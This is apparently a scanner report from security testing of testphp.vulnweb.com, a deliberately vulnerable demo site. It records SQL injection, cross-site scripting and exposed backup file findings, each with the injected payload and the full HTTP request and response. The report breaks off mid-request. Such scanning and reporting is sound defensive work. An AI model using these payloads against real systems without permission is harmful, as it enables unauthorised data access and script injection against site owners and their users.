X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

n. Vestibulum condimentum facilisis

nulla. In hac habitasse platea dictumst. Nulla nonummy. Cras quis libero.  
Cras venenatis. Aliquam posuere lobortis pede. Nullam fringilla urna id leo.  
Praesent aliquet pretium erat. Praesent non odio. Pellentesque a magna a  
mauris vulputate lacinia. Aenean viverra. Class aptent taciti sociosqu ad  
litora torquent per conubia nostra, per inceptos hymenaeos. Aliquam lacus.  
Mauris magna eros, semper a, tempor et, rutrum et, tortor.

</p>

<p>

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec molestie.

Sed aliquam sem ut arcu. Phasellus sollicitudin. Vestibulum condimentum facilisis  
nulla. In hac habitasse platea dictumst. Nulla nonummy. Cras quis libero.  
Cras venenatis. Aliquam posuere lobortis pede. Nullam fringilla urna id leo.  
Praesent aliquet pretium erat. Praesent non odio. Pellentesque a magna a  
mauris vulputate lacinia. Aenean viverra. Class aptent taciti sociosqu ad  
litora torquent per conubia nostra, per inceptos hymenaeos. Aliquam lacus.





**Url:** http://testphp.vulnweb.com/AJAX/infoartist.php?id=3



**Injection Point:** id

**Type:** QueryString

**Payload:** 3 AND 1=1

## Request

```
GET /AJAX/infoartist.php?id=3%20AND%201%3d1 HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/AJAX/index.php
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:09:31 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: text/xml
```

```
<iteminfo><name>lyzae</name><description>&lt;p&gt;
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec molestie.
Sed aliquam sem ut arcu. Phasellus sollicitudin. Vestibulum condimentum facilisis
nulla. In hac habitasse platea dictumst. Nulla nonummy. Cras quis libero.
Cras venenatis. Aliquam posuere lobortis pede. Nullam fringilla urna id leo.
Praesent aliquet pretium erat. Praesent non odio. Pellentesque a magna a
mauris vulputate lacinia. Aenean viverra. Class aptent taciti sociosqu ad
litora torquent per conubia nostra, per inceptos hymenaeos. Aliquam lacus.
Mauris magna eros, semper a, tempor et, rutrum et, tortor.
&lt;/p&gt;
&lt;p&gt;
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec molestie.
Sed aliquam sem ut arcu. Phasellus sollicitudin. Vestibulum condimentum facilisis
nulla. In hac habitasse platea dictumst. Nulla nonummy. Cras quis libero.
Cras venenatis. Aliquam posuere lobortis pede. Nullam fringilla urna id leo.
Praesent aliquet pretium erat. Praesent non odio. Pellentesque a magna a
mauris vulputate lacinia. Aenean viverra. Class aptent taciti sociosqu ad
litora torquent per conubia nostra, per inceptos hymenaeos. Aliquam lacus.
Mauris magna eros, semper a, tempor et, rutrum et, tortor.
&lt;/p&gt;</description></iteminfo>
```

Url: http://testphp.vulnweb.com/userinfo.php



**Injection Point:** uname

**Type:** Post

**Payload:** ' OR 1=1 OR '1'='1

## Request

```
POST /userinfo.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/login.php
Host: testphp.vulnweb.com
Content-Length: 50
Content-Type: application/x-www-form-urlencoded

uname=%27%20OR%201%3d1%20OR%20%271%27%3d%271&pass=
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:09:55 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Set-Cookie: login=test%2Ftest
Content-Encoding:
Content-Type: text/html
```

...

```
class='story'><p>On this page you can visualize or edit you user information.</p></div><div class='story'>

    <form name="form1" method="post" action="">

        <table border="0" cellspacing="1" cellpadding="4">
            <tr><td valign="top">Name:</td><td><input type="text" value="John Smith" name="urname" style="width:200px"></td></tr>
            <tr><td valign="top">Credit card number:</td><td><input type="text" value="1234-5678-2300-9000" name="ucc" style="width:200px"></td></tr>
            <tr><td valign="top">E-Mail:</td><td><input type="text" value="email@email.com" name="uemail" style="width:200px"></td></tr>
            <tr><td valign="top">Phone number:</td><td><input type="text" value="2323345"onmouseover=8Ryw(9667)"" name="uphone" style="width:200px"></td></tr>
            <tr><td valign="top">Address:</td><td><textarea wrap="soft" name="ua
```

```
ddress" rows="5" style="width:200px">21 street</textarea></td></tr>
<tr><td colspan="2" align="right"><input type="submit" value="updat
e" name
...
```

**Url:** http://testphp.vulnweb.com/userinfo.php



**Injection Point:** pass

**Type:** Post

**Payload:** ' OR 1=1 OR '1'='1

## Request

```
POST /userinfo.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: login=test%2ftest
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/login.php
Host: testphp.vulnweb.com
Content-Length: 50
Content-Type: application/x-www-form-urlencoded

uname=&pass=%27%20OR%201%3d1%20OR%20%271%27%3d%271
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:10:01 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Set-Cookie: login=test%2ftest
Content-Encoding:
Content-Type: text/html
```

...

p>On this page you can visualize or edit you user information.</p></div><div class='story'>

```
<form name="form1" method="post" action="">
```

```
<table border="0" cellspacing="1" cellpadding="4">
  <tr><td valign="top">Name:</td><td><input type="text" value="John Sm
ith" name="urname" style="width:200px"></td></tr>
  <tr><td valign="top">Credit card number:</td><td><input type="text"
value="1234-5678-2300-9000" name="ucc" style="width:200px"></td></tr>
  <tr><td valign="top">E-Mail:</td><td><input type="text" value="email
@email.com" name="uemail" style="width:200px"></td></tr>
  <tr><td valign="top">Phone number:</td><td><input type="text" value
="2323345"onmouseover=8Ryw(9667)"" name="uphone" style="width:200px"></td></tr>
```

```
<tr><td valign="top">Address:</td><td><textarea wrap="soft" name="ua  
ddress" rows="5" style="width:200px">21 street</textarea></td></tr>  
<tr><td colspan="2" align="right"><input type="submit" value="updat  
e" name="update"></td></tr>
```



**Url:** http://testphp.vulnweb.com/product.php?pic=1



**Injection Point:** pic

**Type:** QueryString

**Payload:** 1 AND 1=1

## Request

```
GET /product.php?pic=1%20AND%201%3d1 HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/search.php?test=query
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:11:12 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

```
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
    <h2 id='pageName'>The shore</h2><div class='story'><p><a href='showimage.php?file=./pictures/1.jpg'
    target='_blank'><img style='cursor:pointer' border='0' align='center' src='showimage.php?file=./pictures/1.
    jpg&size=160' width='160' height='100'></a><h3>Short description</h3><p>Lorem ipsum dolor sit amet, consecte
    tuer adipiscing elit. Donec molestie.
    Sed aliquam sem ut arcu.</p><h3>Long description</h3><p><p>
    This picture is an 53 cm x 12 cm masterpiece.
</p>
<p>
    This text is not meant to be read. This is being used as a place holder. Please feel free to change this by
    inserting your own information.This text is not meant to be read. This is being used as a place holder. Ple
    ase feel free to change this by inserting your own information.This text is not meant to be read. This is be
    ing used as a place holder. Please feel free to change this by inserting your own information.This text is n
    ot meant to be read. This is being used as a place holder. Please feel free to change this by inserting your
    own information.
</p></p><p>
```

...

**Url:** http://testphp.vulnweb.com/secured/newuser.php



**Injection Point:** uuname

**Type:** Post

**Payload:** ' OR 1=1 OR '1'='1

## Request

```
POST /secured/newuser.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/signup.php
Host: testphp.vulnweb.com
Content-Length: 113
Content-Type: application/x-www-form-urlencoded

uuname=%27%20OR%201%3d1%20OR%20%271%27%3d%271&upass=&upass2=&urname=&ucc=&uemail=&uphone=&uaddress=&signup=signup
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:12:16 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>add new user</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<body>
<div id="masthead">
  <h1 id="siteName">ACUNETIX ART</h1>
</div>
<div id="content">
  <p>Error: the username ' OR 1=1 OR '1'='1 allready exist, please press back and choose another one!
</p></div>
</body>
</html>
```

**Url:** http://testphp.vulnweb.com/AJAX/infocateg.php?id=2



**Injection Point:** id

**Type:** QueryString

**Payload:** 2 AND 1=1

## Request

```
GET /AJAX/infocateg.php?id=2%20AND%201%3d1 HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/AJAX/index.php
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:16:26 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: text/xml

<iteminfo><name>Paintings</name><description>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec molestie.
    Sed aliquam sem ut arcu. Phasellus sollicitudin. Vestibulum condimentum facilisis nulla. In hac habitasse platea dictumst. Nulla nonummy. Cras quis libero.
    Cras venenati</description></iteminfo>
```



**Url:** http://testphp.vulnweb.com/AJAX/infotitle.php



**Injection Point:** id

**Type:** Post

**Payload:** 3 AND 1=1

## Request

```
POST /AJAX/infotitle.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/AJAX/index.php
Host: testphp.vulnweb.com
Content-Length: 18
Content-Type: application/x-www-form-urlencoded

id=3%20AND%201%3d1
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:16:32 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: text/xml

<iteminfo><name>The universe</name><description>Lorem ipsum dolor sit amet. Donec molestie.
Sed aliquam sem ut arcu.</description><description>&lt;p&gt;
This picture is an 53 cm x 12 cm masterpiece.
&lt;/p&gt;
&lt;p&gt;
This text is not meant to be read. This is being used as a place holder. Please feel free to change this by
inserting your own information.This text is not meant to be read. This is being used as a place holder. Ple
ase feel free to change this by inserting your own information.This text is not meant to be read. This is be
ing used as a place holder. Please feel free to change this by inserting your own information.This text is n
ot meant to be read. This is being used as a place holder. Please feel free to change this by inserting your
own information.
&lt;/p&gt;</description><description>price: 986</description><picture>./pictures/3.jpg</picture></iteminfo>
```

# Backup File

PCI 3.2-6.5.8, OWASP 2013-A7, CWE 538

Url: http://testphp.vulnweb.com/index.bak



## Request

```
GET /index.bak HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:24 GMT
Server: nginx/1.4.1
ETag: "4dca64a4-cc1"
Accept-Ranges: bytes
Content-Length: 3265
Content-Type: text/plain
Last-Modified: Wed, 11 May 2011 10:27:48 GMT
```

```
...
er</h6>
  <div id="globalNav">
    <a href="index.php">home</a> | <a href="categories.php">categories</a> | <a href="artists.php">artists
      </a> | <a href="disclaimer.php">disclaimer</a> | <a href="cart.php">your cart</a> |
      <a href="guestbook.php">guestbook</a>
    </div>
  </div>
<!-- end masthead -->

<!-- begin content -->
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
  <h2 id="pageName">welcome to our page</h2>
  <div class="story">
    <h3>Test site for WASP.</h3>
  </div>
</div>
<!-- InstanceEndEditable -->
<!--end content -->

<div id="navBar">
  <div id="search">
    <form action="search.php" method="post">
```





## Request

```
GET /index.zip HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:30 GMT
Server: nginx/1.4.1
ETag: "4692112e-cc1"
Accept-Ranges: bytes
Content-Length: 3265
Content-Type: application/zip
Last-Modified: Mon, 09 Jul 2007 10:42:54 GMT
```



```
er</h6>
  <div id="globalNav">
    <a href="index.php">home</a> | <a href="categories.php">categories</a> | <a href="artists.php">artists
      </a> | <a href="disclaimer.php">disclaimer</a> | <a href="cart.php">your cart</a> |
      <a href="guestbook.php">guestbook</a>
    </div>
  </div>
<!-- end masthead -->

<!-- begin content -->
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
  <h2 id="pageName">welcome to our page</h2>
  <div class="story">
    <h3>Test site for WASP.</h3>
  </div>
</div>
<!-- InstanceEndEditable -->
<!--end content -->

<div id="navBar">
  <div id="search">
    <form action="search.php" method="post">
```





## Request

```
GET /index.bak HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:34 GMT
Server: nginx/1.4.1
ETag: "4dca64a4-cc1"
Accept-Ranges: bytes
Content-Length: 3265
Content-Type: text/plain
Last-Modified: Wed, 11 May 2011 10:27:48 GMT
```

```
...
er</h6>
  <div id="globalNav">
    <a href="index.php">home</a> | <a href="categories.php">categories</a> | <a href="artists.php">artists
      </a> | <a href="disclaimer.php">disclaimer</a> | <a href="cart.php">your cart</a> |
      <a href="guestbook.php">guestbook</a>
  </div>
</div>
<!-- end masthead -->

<!-- begin content -->
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
  <h2 id="pageName">welcome to our page</h2>
  <div class="story">
    <h3>Test site for WASP.</h3>
  </div>
</div>
<!-- InstanceEndEditable -->
<!--end content -->

<div id="navBar">
  <div id="search">
    <form action="search.php" method="post">
```

...



## Request

```
GET /index.zip HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:39 GMT
Server: nginx/1.4.1
ETag: "4692112e-cc1"
Accept-Ranges: bytes
Content-Length: 3265
Content-Type: application/zip
Last-Modified: Mon, 09 Jul 2007 10:42:54 GMT
```

...

er</h6>

<div id="globalNav">

<a href="index.php">home</a> | <a href="categories.php">categories</a> | <a href="artists.php">artists  
</a> | <a href="disclaimer.php">disclaimer</a> | <a href="cart.php">your cart</a> |  
<a href="guestbook.php">guestbook</a>

</div>

</div>

<!-- end masthead -->

<!-- begin content -->

<!-- InstanceBeginEditable name="content\_rgn" -->

<div id="content">

<h2 id="pageName">welcome to our page</h2>

<div class="story">

<h3>Test site for WASP.</h3>

</div>

</div>

<!-- InstanceEndEditable -->

<!--end content -->

<div id="navBar">

<div id="search">

<form action="search.php" method="post">

...

# Cross Site Scripting

**Url:** http://testphp.vulnweb.com/search.php?test=query ▲

**Injection Point:** searchFor

**Type:** Post

**Payload:** <scRipt>xss(0xDEADC0DE)</scRipt>

## Request

```
POST /search.php?test=query HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Content-Length: 64
Content-Type: application/x-www-form-urlencoded

searchFor=%3cscRipt%3exss(0xDEADC0DE)%3c%2fscRipt%3e&goButton=go
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:08:12 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
    <h2 id='pageName'>searched for: <scRipt>xss(0xDEADC0DE)</scRipt></h2></div>
<!-- InstanceEndEditable -->
<!--end content -->

<div id="navBar">
    <div id="search">
    ...
```

**Url:** http://testphp.vulnweb.com/guestbook.php



**Injection Point:** name

**Type:** Post

**Payload:** <scRipt>xss(0xDEADC0DE)</scRipt>

## Request

```
POST /guestbook.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/guestbook.php
Host: testphp.vulnweb.com
Content-Length: 74
Content-Type: application/x-www-form-urlencoded

name=%3cscRipt%3exss(0xDEADC0DE)%3c%2fscRipt%3e&text=&submit=add%20message
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:09:27 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
estbook</h2></td></tr><tr><td align="left" valign="middle" style="background-color:#F5F5F5"><strong><scRipt>
xss(0xDEADC0DE)</scRipt></strong></td><td align="right" style="background-color:#F5F5F5">01.20.1970, 8:09 am
</td></tr><tr><t
...

```



**Url:** http://testphp.vulnweb.com/guestbook.php



**Injection Point:** text

**Type:** Post

**Payload:** <scRipt>xss(0xDEADC0DE)</scRipt>

## Request

```
POST /guestbook.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/guestbook.php
Host: testphp.vulnweb.com
Content-Length: 90
Content-Type: application/x-www-form-urlencoded
```

```
name=anonymous%20user&text=%3cscRipt%3exss(0xDEADC0DE)%3c%2fscRipt%3e&submit=add%20message
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:09:30 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
#F5F5F5">01.20.1970, 8:09 am</td></tr><tr><td colspan="2">&nbsp;&nbsp;&nbsp;<scRipt>
xss(0xDEADC0DE)</scRipt></td></tr></table>          </div>
    <div class="story">
        <form action="" method="post" name="faddentry"
```

```
...
```

**Url:** http://testphp.vulnweb.com/hpp/?pp=12



**Injection Point:** pp

**Type:** QueryString

**Payload:** x" onmouseover=xss(0xDEADC0DE) x="

## Request

```
GET /hpp/?pp=x%22%20onmouseover%3dxss(0xDEADC0DE)%20x%3d%22 HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/hpp/
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:10:46 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

><br/>

```
<a href="params.php?p=valid&pp=x%22+onmouseover%3Dxss%280xDEADC0DE%29+x%3D%22">link1</a><br/><a href="params.php?p=valid&pp=x" onmouseover=xss(0xDEADC0DE) x="">link2</a><br/><form action="params.php?p=valid&pp=x" onmouseover=xss(0xDEADC0DE) x=""><input type=submit name
```

...

**Url:** http://testphp.vulnweb.com/hpp/?pp=12



**Injection Point:** pp

**Type:** QueryString

**Payload:** x" onmouseover=xss(0xDEADC0DE) x="

## Request

```
GET /hpp/?pp=x%22%20onmouseover%3dxss(0xDEADC0DE)%20x%3d%22 HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/hpp/
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:10:46 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
%22">link1</a><br/><a href="params.php?p=valid&pp=x" onmouseover=xss(0xDEADC0DE) x="">link2</a><br/><form action="params.php?p=valid&pp=x" onmouseover=xss(0xDEADC0DE) x=""><input type=submit name=aaaa/></form><br/>
<hr>
<a href='http://blog.mindedsecurity.com/2009/05/client-side-http-parameter-pollution.html
...
```

**Url:** http://testphp.vulnweb.com/showimage.php?file=./pictures/1.jpg



**Injection Point:** file

**Type:** QueryString

**Payload:** <scRipt>xss(0xDEADC0DE)</scRipt>

## Request

```
GET /showimage.php?file=%3cscRipt%3exss(0xDEADC0DE)%3c%2fscRipt%3e HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/search.php?test=query
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:10:56 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: image/jpeg

Warning: fopen(): Unable to access <scRipt>xss(0xDEADC0DE)</scRipt> in /hj/var/www/showimage.php on line 7

Warning: fopen(<scRipt>xss(0xDEADC0DE)</scRipt>): failed to open stream: No such file or directory in /hj/var/www/showimage.php on line 7
```

Warning:

...

**Url:** http://testphp.vulnweb.com/showimage.php?file=./pictures/1.jpg&size=160



**Injection Point:** file

**Type:** QueryString

**Payload:** <scRipt>xss(0xDEADC0DE)</scRipt>

## Request

```
GET /showimage.php?file=%3cscRipt%3exss(0xDEADC0DE)%3c%2fscRipt%3e&size=160 HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/search.php?test=query
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:11:05 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: image/jpeg

Warning: fopen(): Unable to access <scRipt>xss(0xDEADC0DE)</scRipt>.tn in /hj/var/www/showimage.php on line 19

Warning: fopen(<scRipt>xss(0xDEADC0DE)</scRipt>.tn): failed to open stream: No such file or directory in /hj/var/www/showimage.php on line 19
```

Warn

...

**Url:** http://testphp.vulnweb.com/comment.php



**Injection Point:** name

**Type:** Post

**Payload:** </title><script>xss(0xDEADC0DE)</script>

## Request

```
POST /comment.php HTTP/1.1
Cache-Control: no-cache
